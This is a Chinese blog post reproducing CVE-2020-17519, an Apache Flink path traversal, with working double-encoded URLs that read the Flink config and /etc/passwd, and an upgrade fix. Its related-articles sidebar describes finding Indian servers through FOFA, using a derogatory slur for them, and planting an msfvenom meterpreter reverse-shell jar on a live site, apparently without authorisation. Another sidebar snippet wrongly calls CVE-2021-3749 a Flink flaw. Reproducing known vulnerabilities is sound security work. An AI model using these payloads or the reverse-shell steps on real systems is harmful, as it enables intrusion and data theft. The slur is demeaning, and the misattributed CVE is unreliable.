【漏洞复现】Apache Flink 文件读取（CVE-2020-17519）

最新推荐文章于 2024-04-23 09:42:42 发布
最新推荐文章于 2024-04-23 09:42:42 发布
阅读量321 收藏
点赞数
分类专栏： 漏洞复现验证 文章标签： flink 目录遍历
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43486390/article/details/112302389
版权

0x01 漏洞描述

ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。Apache Flink 1.11.0（以及1.11.1和1.11.2中发布的）中引入的更改允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统中的任何文件。

0x02 影响版本

Flink 1.11.0、1.11.1、1.11.2

0x03 漏洞复现

简单验证：
读取该文件可直接判断是否存在漏洞
http://192.168.1.1:8081/jobmanager/logs/..%252fconf%252fflink-conf.yaml
在这里插入图片描述EXP：
http://192.168.1.1:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
在这里插入图片描述

0x04 修复建议

升级到1.11.3或1.12.0版本！

ps_x
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Apache Flink CVE-2020-17519
weixin_45682070的博客
02-04 254
fofa搜索Apache Flink app="APACHE-Flink" &&country="IN" 未授权任意上传jar包导致远程代码执行，找一个阿三的站试试 1：上传生成好的jar包 msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=4568 -f jar > main.jar 上传jar包之后监听端口 use exploit/multi/handler set payload java/shell/reve
apache目录遍历漏洞利用_Apache Flink目录遍历漏洞（CVE202017518/CVE202017519）
weixin_28419039的博客
01-09 272
漏洞概述2021年1月5日，Apache官网通报了Apache Flink目录遍历漏洞，可通过REST API读/写远程文件。CVE-2020-17518:构造恶意http header，可实现远程文件写入。Flink1.5.1引入了一个REST处理程序，允许您编写文件到本地文件系统上的任意位置。CVE-2020-17519:通过REST API使用../跳目录实现系统任意文件读取。Ap...
Apache Flink -任意文件读取漏洞（CVE-2020-17519）
chaojixiaojingang
01-06 1118
1.漏洞描述 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 2.影响版本 1.11.0 1.11.1 1.11.2 3.POC /jobmanager/logs/..%252f..%252f..%252f..%252f..%252...
探索CVE-2020-17519：一个深入理解Web安全的实战项目
gitblog_00098的博客
04-23 331
探索CVE-2020-17519：一个深入理解Web安全的实战项目 项目地址:https://gitcode.com/B1anda0/CVE-2020-17519 在网络安全领域，CVE（Common Vulnerabilities and Exposures）编号通常用于识别特定的安全漏洞。本项目【https://gitcode.net/B1anda0/CVE-2020-17519】聚焦于CV...
CVE-2020-15012：Nexus Repository Manager 2 目录遍历漏洞通告
爱国小白帽
10-09 851
CVE-2020-15012：Nexus Repository Manager 2 目录遍历漏洞通告 原创 360CERT [三六零CERT](javascript:void(0)???? 今天 报告编号：B6-2020-100901 报告来源：360CERT 报告作者：360CERT 更新日期：2020-10-09 0x01 漏洞简述 2020年10月09日，360CERT监测发现 nexus repository manager 2 发布了 nexus repository manager 2 目录穿
Apache Flink(CVE-2020-17519)路径遍历漏洞复现_附POC和批量检测脚本
szgyunyun的博客
01-06 871
声明 本文仅用于技术交流，请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。 文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 Apache Flink 是高效和分布式的通用数据处理平台。 Apache Flink 声明式的数据分析开源系统，结合了分布式 MapReduce 类平台的高效，灵活的
Apache Flink CVE-2020-17518-id：L.pdf
04-30
Apache Flink CVE-2020-17518--id：L.pdf
CVE-2020-17519:Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)
05-30
该脚本为Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)。 使用方法：Python CVE-2020-17519.py urls.txt urls.txt 中每个url为一行，漏洞地址输出在vul.txt中 影响版本： Apache Flink 1.11.0、1.11.1、...
Apache Flink目录遍历(CVE-2020-17519)批量检测脚本
09-24
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞，漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎，其针对数据流的...
Apache Flink目录遍历(CVE-2020-17519)单目标检测工具
09-24
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞，漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎，其针对数据流的...
【Flink】Flink读取数据的四种方式
HR的博客
02-09 5930
Flink读取数据的四种方式准备工作从集合中读取从文件中读取从Kafka中读取自定义读取方式 准备工作 Flink默认运行时是没有日志的，若想要出现日志，需要在pom文件添加 <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <versio
Apache Flink漏洞（CVE-2020-17519）
小小猪的博客
12-30 1288
Apache Flink漏洞（CVE-2020-17519） 漏洞简介： Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 影响版本： 1.11.0、1.11.1、1.11.2 环境搭建： 在线环境 地址 漏洞复现： 访问首页 构造poc (url二次编码) /jobmanager/logs/..%252f..%252f..%252f
[漏洞预警]Apache Flink 高危漏洞预警(CVE-2020-17518 CVE-2020-17519)
Matrix42
01-07 1862
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞： CVE-2020-17519：攻击者可通过REST API使用…/跳目录实现系统任意文件读取； CVE-2020-17518：通过构造恶意的http header，可实现远程文件写入。 1. 漏洞描述 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历
复现apache Flink(CVE-2020-17518/17519)附getShell EXP
qq_41027545的博客
01-11 975
安装环境 CVE-2020-17518 1.拉取vulhub环境（github搜vulhub自己下） 2.进入目录 cd vulhub/flink/CVE-2020-17518 3.启动环境 docker-compose up -d 通过浏览器访问http:your-ip:8081界面如下 4.点击Add new按钮抓包 5.进入docker环境，查看是否创建成功 docker ps docker exec -it "docker ID" /bin/bash cd /tmp 6.复现成功 CVE-
apache目录遍历漏洞利用_Apache Flink目录遍历漏洞
weixin_39836803的博客
01-14 250
CVE-2020-17518CVE-2020-17519今天嗓子有点哑没去上班在家写点复现把，这个漏洞有两个编号正确来说是有两种方式，一种是可进行目录遍历，一种是进行远程写入，都是通过REST API进行，此漏洞的影响很是广泛，此款框架核心用java和Scala编写由于时间有限直接从实战出发未能搭建详细的测试环境一切测试均在真实环境中进行所以并无远程写入的详细过程远程读取影响版本1.11.0、1....
Apache Flink(CVE-2020-17518/17519)任意文件上传和路径遍历漏洞复现
good good study
01-08 3704
目录 影响范围 docker搭建漏洞环境 漏洞复现 单个漏洞检测脚本 批量漏洞检测脚本 Apache Flink 是一个分布式流批一体化的开源平台。Flink 的核心是一个提供数据分发、通信以及自动容错的流计算引擎。Flink 在流计算之上构建批处理，并且原生的支持迭代计算，内存管理以及程序优化。式的数据分析开源系统，结合了分布式 MapReduce 类平台的高效，灵活的编程和扩展性,具有强大的流处理和批处理功能。同时在并行数据库发现查询优化方案。 2021...
Apache Flink jobmanager/logs Path Traversal(CVE-2020-17519)和Nginx 越界读取缓存漏洞漏洞复现
weixin_48739941的博客
04-11 418
1、Apache Flink jobmanager/logs Path Traversal(CVE-2020-17519) (1)漏洞原理 攻击者可以利用 JobManager 的 REST API，读取 JobManager 本地文件系统上的任意文件（JobManager 进程有权限能够读取到的文件）。 (2)修复 升级到1.11.3或1.12.0版本。 (3) cd vulhub/flink/CVE-2020-17519 切换目录。 (4)docker-compose up -d 启动。
Apache Flink jobmanager/logs 目录遍历 (CVE-2020-17519)
EC_Carrot的博客
06-04 402
漏洞复现 访问以下网址： http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd 就能够读取/etc/passwd，我环境出问题了，复现不了…
CVE-2021-3749、CVE-2019-10742
最新发布
06-01
CVE-2021-3749是指Apache Flink中存在的一种安全漏洞，该漏洞允许攻击者通过远程代码执行攻击来利用Apache Flink集群。此漏洞的危害性很高，因此建议受影响的用户立即升级到最新版本。更多细节可以查看CVE官网上的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值